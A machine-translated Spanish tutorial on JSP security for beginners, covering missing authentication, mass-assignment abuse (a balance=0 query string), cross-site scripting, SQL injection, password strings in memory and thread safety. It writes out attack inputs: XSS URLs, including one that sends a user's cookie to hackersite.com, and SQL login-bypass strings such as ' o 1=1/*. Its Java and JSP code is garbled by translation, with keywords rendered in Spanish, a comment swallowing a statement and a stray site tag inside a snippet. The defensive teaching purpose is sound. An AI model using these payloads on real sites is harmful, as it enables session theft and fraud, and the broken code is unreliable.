Java Server Page (JSP) se está volviendo cada vez más popular como tecnología para crear páginas web dinámicas. JSP, ASP y PHP tienen diferentes mecanismos de trabajo. En términos generales, las páginas JSP se compilan en lugar de interpretarse cuando se ejecutan. La primera llamada a un archivo JSP es en realidad un proceso de compilación en un servlet. Cuando el navegador solicita este archivo JSP del servidor, el servidor verificará si el archivo JSP ha cambiado desde la última compilación. Si no hay cambios, el servlet se ejecutará directamente sin volver a compilarlo. mejorado. .
Hoy analizaré con usted la seguridad de JSP desde la perspectiva de la programación de scripts. Los riesgos de seguridad, como la exposición del código fuente, están más allá del alcance de este artículo. El objetivo principal de escribir este artículo es recordarles a los amigos que son nuevos en la programación JSP que cultiven la conciencia de la programación segura desde el principio, que no cometan errores que no deberían cometerse y que eviten pérdidas evitables. Además, también soy un principiante. Si tiene algún error u otra opinión, publíquelo y hágamelo saber.
1. Autenticación suelta: errores de bajo nivel
En la versión revisada de Yiyang Forum v1.12,
user_manager.jsp es una página administrada por el usuario. El autor conoce su sensibilidad y agrega un bloqueo:
if ((session.getValue( "UserName" )==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("Administrador del sistema")))
{
respuesta.sendRedirect("err.jsp?id=14");
devolver;
}
Si desea ver y modificar la información de un usuario, debe utilizar el archivo modificaruser_manager.jsp. Enviado por el administrador
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
Es para ver y modificar la información del usuario con ID 51 (el ID de usuario predeterminado del administrador es 51). Sin embargo, un documento tan importante carece de autenticación. Los usuarios comunes (incluidos los turistas) pueden enviar directamente la solicitud anterior y tener una vista clara de ella (la contraseña también se almacena y se muestra en texto claro). modificaruser_manage.jsp también está abierto. No es hasta que el usuario malintencionado complete la operación de actualización de datos y redirige a user_manager.jsp que verá la página que muestra tardíamente el error. Obviamente, simplemente cerrar una puerta no es suficiente. Al programar, debe tomarse la molestia de agregar autenticación de identidad en todos los lugares donde se debe agregar autenticación de identidad.
2. Mantenga la entrada de JavaBean.
El núcleo de la tecnología de componentes JSP es el componente de Java llamado bean. En el programa, el control lógico y las operaciones de la base de datos se pueden colocar en el componente Javabeans y luego llamarse en el archivo JSP, lo que puede aumentar la claridad del programa y la reutilización del programa. En comparación con las páginas ASP o PHP tradicionales, las páginas JSP son muy simples porque muchos procesos de procesamiento dinámico de páginas se pueden encapsular en JavaBeans.
Para cambiar las propiedades de JavaBean, utilice la etiqueta "<jsp:setProperty>".
El siguiente código es parte del código fuente de un sistema de compras electrónico imaginario. Este archivo se usa para mostrar la información en el cuadro de compras del usuario y checkout.jsp se usa para pagar.
<jsp:useBean id="miCesta" clase="CestaBean">
<jsp:setProperty nombre="miCesta" propiedad="*"/>
<jsp:useBean>
<html>
<cabeza><título>Tu cesta</título></cabeza>
<cuerpo>
<p>
Has añadido el artículo
<jsp::getProperty nombre="miCesta" propiedad="nuevoArtículo"/>
a tu cesta.
<br/>
Tu total es $
<jsp::getProperty nombre="miCesta" propiedad="saldo"/>
Continúe con <a href="checkout.jsp">checkout</a>
¿Notó la propiedad="*"? Esto indica que los valores de todas las variables ingresadas por el usuario en la página JSP visible, o enviadas directamente a través de la Cadena de consulta, se almacenarán en las propiedades del bean coincidente.
Normalmente, los usuarios envían solicitudes como esta:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
Pero ¿qué pasa con los usuarios rebeldes? Pueden enviar:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
De esta forma, la información del saldo = 0 se almacena en el JavaBean. Cuando hacen clic en "pagar" para pagar, no se les aplica el cargo.
Este es exactamente el mismo problema de seguridad causado por las variables globales en PHP. Se puede ver en esto: "property="*"" debe usarse con precaución.
3. El ataque de secuencias de comandos entre sitios de larga duración El
ataque de secuencias de comandos entre sitios (Cross Site Scripting) se refiere a la inserción manual de secuencias de comandos JavaScript, VBScript, ActiveX, HTML o Flash maliciosas en el código HTML de una página WEB remota para robar la navegación de esta. página de privacidad de los usuarios, cambiar la configuración del usuario y destruir los datos del usuario. Los ataques de secuencias de comandos entre sitios no afectarán el funcionamiento de los servidores y programas WEB en la mayoría de los casos, pero suponen una grave amenaza para la seguridad del cliente.
Tomemos como ejemplo más sencillo el Acai Forum (beta-1) de Fangdong.com. Cuando enviamos
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>alert(document.cookie)</script>,
aparecerá un cuadro de diálogo que contiene nuestra propia información sobre cookies. Envíe
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.163.com'</script>
para redirigir a NetEase.
Dado que el script no realiza ninguna codificación ni filtrado de código malicioso cuando devuelve el valor de la variable "nombre" al cliente, cuando el usuario accede al enlace de datos que incorpora la variable "nombre" malicioso, el código del script se ejecutará en el navegador del usuario, lo que posiblemente cause consecuencias como la filtración de la privacidad del usuario. Por ejemplo, el siguiente enlace:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.hackersite.com/xxx.xxx?' +document .cookie</script>
xxx.xxx se utiliza para recopilar los siguientes parámetros, y el parámetro aquí especifica document.cookie, que es la cookie del usuario que accede a este enlace. En el mundo ASP, muchas personas dominan la técnica de robar cookies. En JSP, leer cookies no es difícil. Por supuesto, las secuencias de comandos entre sitios nunca se limitan a la función de robar cookies. Creo que todos tienen cierta comprensión al respecto, por lo que no entraré en detalles aquí.
Todas las entradas y salidas de páginas dinámicas deben codificarse para evitar en gran medida ataques de secuencias de comandos entre sitios. Desafortunadamente, codificar todos los datos que no son de confianza requiere muchos recursos y puede tener un impacto en el rendimiento del servidor web. Un método común es filtrar datos de entrada. Por ejemplo, el siguiente código reemplaza caracteres peligrosos:
<% String message = request.getParameter("message");
mensaje = mensaje.reemplazar ('<','_');
mensaje = mensaje.reemplazar ('>','_');
mensaje = mensaje.reemplazar ('"','_');
mensaje = mensaje.reemplazar (''','_');
mensaje = mensaje.replace ('%','_'); [Publicado desde:51item.net]
mensaje = mensaje.reemplazar (';','_');
mensaje = mensaje.reemplazar ('(','_');
mensaje = mensaje.reemplazar (')','_');
mensaje = mensaje.reemplazar ('&','_');
mensaje = mensaje.replace ('+','_' %>
Una forma más positiva es usar expresiones regulares para permitir solo la entrada de caracteres específicos:
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) devuelve verdadero;
de lo contrario devolverá falso;
}
4. Tenga siempre en cuenta la inyección SQL.
Al enseñar a principiantes, los libros de programación general no prestan atención a permitirles desarrollar hábitos de programación seguros desde el principio. Los famosos "Pensamientos y prácticas de programación JSP" demuestran a los principiantes cómo escribir un sistema de inicio de sesión con una base de datos (la base de datos es MySQL):
Declaración stmt = conn.createStatement();
String checkUser = "seleccione * desde el inicio de sesión donde nombre de usuario = '" + nombre de usuario + "' y contraseña de usuario = '" + contraseña de usuario + "'";
ResultSet rs = stmt.executeQuery(checkUser);
si(rs.siguiente())
respuesta.sendRedirect("SuccessLogin.jsp");
demás
Response.sendRedirect("FailureLogin.jsp");
Esto permite a las personas que creen en el libro utilizar códigos de inicio de sesión innatamente "agujeros" durante mucho tiempo. Si hay un usuario llamado "jack" en la base de datos, existen al menos las siguientes formas de iniciar sesión sin conocer la contraseña:
Nombre de usuario: jack
Contraseña: ' o 'a'='a
Nombre de usuario: jack
Contraseña: ' o 1=1/*
Nombre de usuario: jack' o 1=1/*
Contraseña: (cualquiera)
lybbs (Foro Lingyun) versión 2.9. El servidor verifica los datos enviados para iniciar sesión en LogInOut.java de esta manera:
si(s.equals("") ││ s1.equals(""))
throw new UserException("El nombre de usuario o la contraseña no pueden estar vacíos.");
if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf(" \") != -1)
throw new UserException("El nombre de usuario no puede incluir caracteres ilegales como ' " \ , etc.");
if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf(" \") != -1)
throw new UserException("La contraseña no puede incluir caracteres ilegales como ' " \ *.");
si(s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("No se pueden usar espacios en el nombre de usuario o la contraseña.");
pero no sé por qué solo filtra los asteriscos en las contraseñas y no en los nombres de usuario. Además, parece que las barras diagonales también deberían incluirse en la "lista negra". Sigo pensando que es más sencillo usar expresiones regulares para permitir solo caracteres dentro de un rango específico.
Una palabra de advertencia aquí: no crea que la "seguridad" inherente de algunos sistemas de bases de datos pueda resistir eficazmente todos los ataques. El artículo de Pinkeyes "Ejemplo de inyección de PHP" enseña una lección a quienes confían en "magic_quotes_gpc = On" en el archivo de configuración de PHP.
5. Peligros ocultos que traen los objetos String
De hecho, la plataforma Java ha hecho que la programación de seguridad sea más conveniente. No hay punteros en Java, lo que significa que los programas Java ya no pueden direccionar ninguna ubicación de memoria en el espacio de direcciones como C. Los problemas de seguridad se verifican cuando el archivo JSP se compila en un archivo .class. Por ejemplo, se rechazarán los intentos de acceder a elementos de la matriz que excedan el tamaño de la matriz, lo que evita en gran medida ataques de desbordamiento del búfer. Sin embargo, los objetos String nos traerán algunos riesgos de seguridad. Si la contraseña se almacena en un objeto Java String, permanecerá en la memoria hasta que se recoja la basura o finalice el proceso. Incluso después de la recolección de basura, seguirá existiendo en el montón de memoria libre hasta que se reutilice el espacio de memoria. Cuanto más tiempo permanezca la cadena de contraseña en la memoria, mayor será el riesgo de escuchas ilegales. Peor aún, si se reduce la memoria real, el sistema operativo enviará esta cadena de contraseña al espacio de intercambio del disco, lo que lo hará vulnerable a ataques de escucha de bloques de disco. Para minimizar (pero no eliminar) la posibilidad de tal compromiso, debe almacenar la contraseña en una matriz de caracteres y ponerla a cero después de su uso (las cadenas son inmutables y no se pueden poner a cero).
6. Un estudio preliminar sobre seguridad de subprocesos
"Lo que JAVA puede hacer, JSP puede hacerlo". A diferencia de los lenguajes de secuencias de comandos como ASP y PHP, JSP se ejecuta de forma multiproceso de forma predeterminada. La ejecución de múltiples subprocesos puede reducir en gran medida los requisitos de recursos del sistema y mejorar la concurrencia y el tiempo de respuesta del sistema. Los subprocesos son rutas de ejecución independientes y concurrentes en el programa. Cada subproceso tiene su propia pila, su propio contador de programa y sus propias variables locales. Aunque la mayoría de las operaciones en una aplicación multiproceso se pueden realizar en paralelo, hay algunas operaciones, como actualizar indicadores globales o procesar archivos compartidos, que no se pueden realizar en paralelo. Si la sincronización de subprocesos no se realiza bien, también se producirán problemas durante grandes accesos simultáneos sin la "participación entusiasta" de usuarios malintencionados. La solución más simple es agregar: instrucción <%@ page isThreadSafe="false" %> al archivo JSP relevante para que se ejecute en un solo subproceso. En este momento, todas las solicitudes del cliente se ejecutan en serie. Esto puede degradar gravemente el rendimiento del sistema. Aún podemos dejar que el archivo JSP se ejecute en forma de subprocesos múltiples y sincronizar los subprocesos bloqueando la función. Una función más la palabra clave sincronizada adquiere un bloqueo. Mire el siguiente ejemplo:
clase pública MiClase{
ent a;
public Init() {// Este método puede ser llamado por varios subprocesos al mismo tiempo a = 0;
}
set vacío sincronizado público () {// Dos subprocesos no pueden llamar a este método al mismo tiempo if(a>5) {
a=a-5;
}
}
}
Pero esto seguirá teniendo un cierto impacto en el rendimiento del sistema. Una mejor solución es utilizar variables locales en lugar de variables de instancia. Debido a que las variables de instancia se asignan en el montón y son compartidas por todos los subprocesos que pertenecen a la instancia, no son seguras para subprocesos, mientras que las variables locales se asignan en la pila porque cada subproceso tiene su propio espacio de pila, por lo que son seguras para subprocesos. . Por ejemplo, el código para agregar amigos en el Foro Lingyun:
public void addFriend(int i, String s, String s1)
lanza DBConnectException
{
intentar
{
si……
demás
{
DBConnect dbconnect = new DBConnect("insertar en valores de amigo (id de autor, nombre de amigo) (?,?)");
dbconnect.setInt(1, i);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
dbconnect.cerrar();
dbconnect = nulo;
}
}
captura (excepción excepción)
{
lanzar una nueva DBConnectException(exception.getMessage());
}
}
La siguiente es la llamada:
friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("agregarusuario")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=foroFriend.getErrorInfo();
}
Si se utiliza una variable de instancia, entonces la variable de instancia es compartida por todos los subprocesos de la instancia. Es posible que después de que el usuario A pase un determinado parámetro, su subproceso entre en estado de suspensión y el usuario B modifique el parámetro sin darse cuenta. causando el fenómeno de la falta de coincidencia de amigos.